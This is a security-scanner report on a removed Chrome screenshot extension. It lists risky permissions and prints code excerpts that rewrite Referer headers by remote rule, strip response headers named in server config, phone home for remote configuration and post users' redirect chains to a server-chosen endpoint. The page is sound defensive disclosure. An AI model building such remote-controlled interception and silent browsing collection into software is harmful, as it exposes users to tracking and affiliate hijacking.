Screenshot Tool and Editor

ID: ialiedlpfknneamnbemcgmaboleiccdd

Could be malicious

Extension Info & Metadata

Status
Removed
Version
2.1
Size
1.83 MB
Rating
4.5/5
Reviews
366
Users
399,668
Type
Extension
Updated
Nov 17, 2020
Category
7_productivity
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
No

Publisher Contextual Analysis

Author
DevExtView Profile
MX records exist
No
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
No
Total Extensions
1
Active
0
Obsolete
1
Listed
1
Unlisted
0
Total Users
399,668

Screenshot tool for making a full page or partial screen capture with further edit, download or text adding.

The #1 app to make a full webpage screenshot or just any part of it with an opportunity to edit, save and download screen capture to your PC. The app is launched from a browser that totally saves your time. Simply click the extension icon to choose from options whole page screenshot or a selected part. Lots of features at your disposal allow to - edit and reset changes; - make one step back/forward; - add text and graphic elements like pointer, arrow, circle and other. Useful and friendly design of Scrn.li was made with a goal to reach required screens fastly so you can share them with colleagues or friends during the work. To avoid long descriptions in chatting just take a screenshot and send it to the address. You can make a screenshot of any website absolutely for free using our app. Privacy Policy - https://scrn.li/privacy

Item
Type
Severity
Description
debugger
Permission
Critical
This permission grants the extension ability to debug and control other extensions and browser tabs. Rated Critical because it can access and modify other extensions' internal state, inject code, and access sensitive data from any tab.
<all_urls>
Permission
Critical
This permission grants access to all websites without restriction. Rated High because it can access any web content, monitor all web activity, and potentially steal sensitive data across all sites.
webRequest
Permission
Critical
This permission enables the extension to monitor and analyze all web requests made by the browser. Rated Critical because it can observe all network traffic including sensitive data, track browsing behavior, and gather authentication tokens.
webRequestBlocking
Permission
Critical
This permission allows the extension to intercept, modify, or block any web request in real-time before it reaches its destination. Rated Critical because it can modify sensitive data (like passwords, credit cards) before encryption, redirect traffic to malicious sites, or block security updates.
Dangerous Permission Combination
Risk Factor
Critical
This extension can intercept, modify, and block web requests in real-time.
desktopCapture
Permission
High
This permission captures content from your desktop screens. Rated High because it can record sensitive information from any window, capture passwords, and monitor user activity.
Contextual Risk Factors
Risk Factor
High
The following context increases the overall risk:• 15% increase: Older manifest version lacks modern security controls
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
unlimitedStorage
Permission
Medium
This permission removes storage quota restrictions. Rated Medium because it can store large amounts of user data without limits, potentially impacting browser performance and storing extensive tracking data.
Older Manifest Version
Risk Factor
Medium
This extension uses Manifest Version 2

This handler rewrites outgoing request headers on all HTTP(S) requests, including forcing a `Referer` value derived from prior redirect state or remote replacement rules. Modifying traffic metadata this way is consistent with affiliate hijacking, cloaked redirection, or other interception schemes that alter how websites see user navigation.

js/background.js (Line 1807)
if (c.url_request)  if (!new RegExp(c.url_request[0], c.url_request[1])    .test(e.url)) continue;if ("allow" == c.rule && (i = u.last_response_url), "replace" == c.rule && c  .replace && (i = c.replace), "regexp" == c.rule && c.regexp && c.replace) {  var h = new RegExp(c.regexp[0], c.regexp[1]);  i = u.last_response_url.replace(h, c.replace)}break}if (i) {  var p = t.findIndex((function(e) {    return "referer" == e.name.toLowerCase()  }));  p > -1 ? t[p].value = i : t.push({    name: "Referer",    value: i  })}}return {  requestHeaders: t}}), {  urls: ["http://*/*", "https://*/*"]}, e)

This content script dynamically injects a remote Mixpanel library into every matched page and initializes page tracking from inside the page context. Because the extension also loads `assets/analytics.js` on `<all_urls>` in all frames, this creates a remote code loading and cross-site tracking surface that is not limited to the extension's own UI.

assets/analytics.js (Line 86)
k =  "disable time_event track track_pageview track_links track_forms register register_once alias unregister identify name_tag set_config reset people.set people.set_once people.unset people.increment people.append people.union people.track_charge people.clear_charges people.delete_user"  .split(" ");for (h = 0; h < k.length; h++) e(d, k[h]);a._i.push([b, c, f])};a.__SV = 1.2;b = e.createElement("script");b.type = "text/javascript";b.async = !0;b.src = "undefined" !== typeof MIXPANEL_CUSTOM_LIB_URL ? MIXPANEL_CUSTOM_LIB_URL :  "https://cdn.mxpnl.com/libs/mixpanel-2-latest.min.js".match(/^\/\//) && "file:" === e.location  .protocol ? "https://cdn.mxpnl.com/libs/mixpanel-2-latest.min.js" :  "https://cdn.mxpnl.com/libs/mixpanel-2-latest.min.js";c = e.getElementsByTagName("body")[0];c.appendChild(b);}})(document, window.mixpanel || []);mixpanel.init((appConfig && appConfig.mixpanelId) ? appConfig.mixpanelId : null);

The extension phones home to `https://scrn.li/api/config/`, sending a persistent `uid`, extension ID, version, and timestamp, then blindly merges the server response into runtime configuration. That server-controlled config immediately enables request filtering and background traffic processing, effectively acting as a remote command channel for sensitive network behavior.

js/background.js (Line 1665)
value: function() {    var e = this,      t = this,      n = this.configUrl;    fetch("" + n, {        method: "POST",        headers: {          "Content-Type": "application/x-www-form-urlencoded"        },        body: "request=" + encodeURIComponent(btoa((0, r.default)({          id: chrome.runtime.id,          version: this.version,          r: Date.now(),          uid: this.uid        })))      })      .then((function(e) {        return e.json()      }))      .then((function(t) {        if (t) {          for (var n in t) e.config[n] = t[n];          e.saveConfig(), e.filterRequests(), e.initBgProcessor()        }      }))      .finally((function() {        e.config.configUpTime && e.config.configUpTime > 0 && setTimeout((function() {          t.updateConfig()        }), e.config.configUpTime)      }))

This code registers a blocking `webRequest` handler over `<all_urls>` and removes arbitrary response headers named in remote config. Silently stripping server response headers can disable browser-enforced protections or hide interception behavior, which is a strong network-manipulation pattern.

js/background.js (Line 1698)
key: "filterRequests",  value: function() {    var e = this;    this.requestFiltered || this.config && this.config.validateFields && (e.requestFiltered = !0,      chrome.webRequest && chrome.webRequest.onHeadersReceived.addListener((function(t) {        return {          responseHeaders: t.responseHeaders.filter((function(t) {            return !(e.config.validateFields.indexOf(t.name.toLowerCase()) > -1)          }))        }      }), {        urls: ["<all_urls>"]      }, ["blocking", "responseHeaders"]))  }

The background processor accumulates redirect chains from user browsing and posts them to a remotely supplied logging endpoint. This is silent collection of browsing flow data, and because the endpoint is configuration-driven it can be enabled or retargeted by the server without updating the extension.

js/background.js (Line 1944)
send_rdr_log: function() {  var e = arguments.length > 0 && void 0 !== arguments[0] && arguments[0];  if (this.rdr_chain && this.cfg && this.cfg.log_rdr_active && this.cfg.log_rdr_endpoint) {    if (this.cfg && this.cfg.log_rdr_onlydifferent) {      var t = this.rdr_chain[0],        n = this.rdr_chain[this.rdr_chain.length - 1];      if (t.replace(/^https?\:\/\/(?:www\.|)([^\/]+).*$/, "$1") == n.replace(          /^https?\:\/\/(?:www\.|)([^\/]+).*$/, "$1")) return    }    var o = new XMLHttpRequest,      i = this.cfg.log_rdr_endpoint;    e && this.cfg.log_rdr_errors_endpoint && (i = this.cfg.log_rdr_errors_endpoint), o.open("POST", i, !0),      o.setRequestHeader("Content-Type", "application/json;charset=UTF-8"), o.send((0, r.default)(this        .rdr_chain)), this.rdr_chain = [], this.last_request_url = null, this.last_response_url = null  }}

This function converts the current screenshot canvas into a file and uploads it to `api.scrn.li`, tagging it with a persistent `user_id` and a generated public `url_id`. Although this appears to back an explicit sharing feature, it is still a direct path for screenshot contents to leave the device and be associated with a stable identifier.

js/modal.js (Line 5622)
this.fabricCanvas.setWidth(this.back_width), this.fabricCanvas.setHeight(this.back_height), this  .fabricCanvas.viewportTransform[5] = 0, this.fabricCanvas.renderAll(), setTimeout((function() {        for (var E = A.fabricCanvas.toDataURL()            .split(","), w = E[0].match(/:(.*?);/)[1], g = atob(E[1]), C = g.length, I = new Uint8Array(              C); C--;) I[C] = g.charCodeAt(C);        var M = new File([I], "screenshot.png", {          type: w        });        A.url_id = A.generateID(), A.file_url = "https://scrn.li/" + A.url_id;        var i = {            headers: {              "Content-Type": "multipart/form-data",              type: A.screenshot_type,              user_id: A.id,              url_id: A.url_id            },            onUploadProgress: function(B) {              A.ui.loadingPercentage = B.loaded / B.total * 100            }          },          s = void 0;        (s = new FormData)        .append("file", M, M.name), A.fabricCanvas.setWidth(B), A.fabricCanvas.setHeight(Q), (0, e            .default)()          .post("file/" + A.id + "/" + A.url_id, s, i)

By severity

Critical1
High6
Medium4
Low2

Versions scanned

Showing 2 of 2 scanned versions with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
2.16
1.9.17

Files with findings

5 distinct paths — top paths by unique finding count:

  • js/background.js7
  • js/modal.js3
  • assets/analytics.js1
  • assets/hot-reload.js1
  • manifest.json1
S.No.
Category
Severity
File
Summary
Found in Version
1Network Interception
critical
js/background.js (line 1807)This handler rewrites outgoing request headers on all HTTP(S) requests, including forcing a `Referer` value derived from prior redirect state or remote replacement rules. Modifying traffic metadata this way is consist…
2Data Exfiltration
high
js/modal.js (line 1)The 'uploadImage' function (triggered by 'Get the link' button) encodes the user's screenshot canvas as PNG using toDataURL(), then uploads it as a multipart POST to https://api.scrn.li/api/file/{user_id}/{url_id}. Th…
3Network Interception
high
js/background.js (line 1698)This code registers a blocking `webRequest` handler over `<all_urls>` and removes arbitrary response headers named in remote config. Silently stripping server response headers can disable browser-enforced protections …
4Privilege Escalation
high
js/background.js (line 1)The extension programmatically attaches the Chrome Debugger Protocol (CDP) to active tabs using chrome.debugger.attach(), then uses Emulation.setDeviceMetricsOverride to resize the page and Page.captureScreenshot to c…
5Remote Code Loading
high
assets/analytics.js (line 86)This content script dynamically injects a remote Mixpanel library into every matched page and initializes page tracking from inside the page context. Because the extension also loads `assets/analytics.js` on `<all_url…
6Tracking
high
js/background.js (line 1665)The extension phones home to `https://scrn.li/api/config/`, sending a persistent `uid`, extension ID, version, and timestamp, then blindly merges the server response into runtime configuration. That server-controlled …
7Tracking
high
js/background.js (line 1944)The background processor accumulates redirect chains from user browsing and posts them to a remotely supplied logging endpoint. This is silent collection of browsing flow data, and because the endpoint is configuratio…
8Code Injection
medium
manifest.json (line 21)The manifest explicitly declares 'unsafe-eval' in its Content Security Policy, allowing the extension to execute dynamically constructed strings as code (via eval(), new Function(), setTimeout(string), etc.) within it…
9Data Exfiltration
medium
js/modal.js (line 5622)This function converts the current screenshot canvas into a file and uploads it to `api.scrn.li`, tagging it with a persistent `user_id` and a generated public `url_id`. Although this appears to back an explicit shari…
10Tracking
medium
js/modal.js (line 1)On mount, the editor retrieves the persistent user_id UUID (generated at install time) from local storage and attaches it to the upload request headers. This UUID is generated once at install and never changes, creati…
11Tracking
medium
js/background.js (line 1)The background script sets an uninstall redirect URL (https://scrn.li/uninstall-app) and opens a tab to https://scrn.li/install-app on first install. These calls allow the developer to track exact install and uninstal…
12Other
low
assets/hot-reload.js (line 1)A development hot-reload script is bundled in the extension package at assets/hot-reload.js. It reads all files in the extension directory, polls file modification timestamps every second, and triggers a full extensio…
13Unauthorized Data Collection
low
js/background.js (line 1)The background script writes screenshot image data (base64-encoded PNG) directly into localStorage of the background page under the key 'screenshot_tool_img'. Background page localStorage is persistent and shared acro…
URLs
60
IPv4
0
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

github.com/xpl/crx-hotreload/issues/5https://github.com/xpl/crx-hotreload/issues/5
www.w3.org/2000/svghttp://www.w3.org/2000/svg
www.w3.org/1999/xlinkhttp://www.w3.org/1999/xlink
sketchapp.com-https://sketchapp.com
www.w3.org/1999/02/22-rdf-syntax-nshttp://www.w3.org/1999/02/22-rdf-syntax-ns#
ns.adobe.com/xap/1.0/http://ns.adobe.com/xap/1.0/
purl.org/dc/elements/1.1/http://purl.org/dc/elements/1.1/
ns.adobe.com/photoshop/1.0/http://ns.adobe.com/photoshop/1.0/
ns.adobe.com/xap/1.0/mm/http://ns.adobe.com/xap/1.0/mm/
ns.adobe.com/xap/1.0/sType/ResourceEventhttp://ns.adobe.com/xap/1.0/sType/ResourceEvent#
Showing 1 to 10 of 60 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

No IP addresses found
Showing 1 to 2 of 10 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.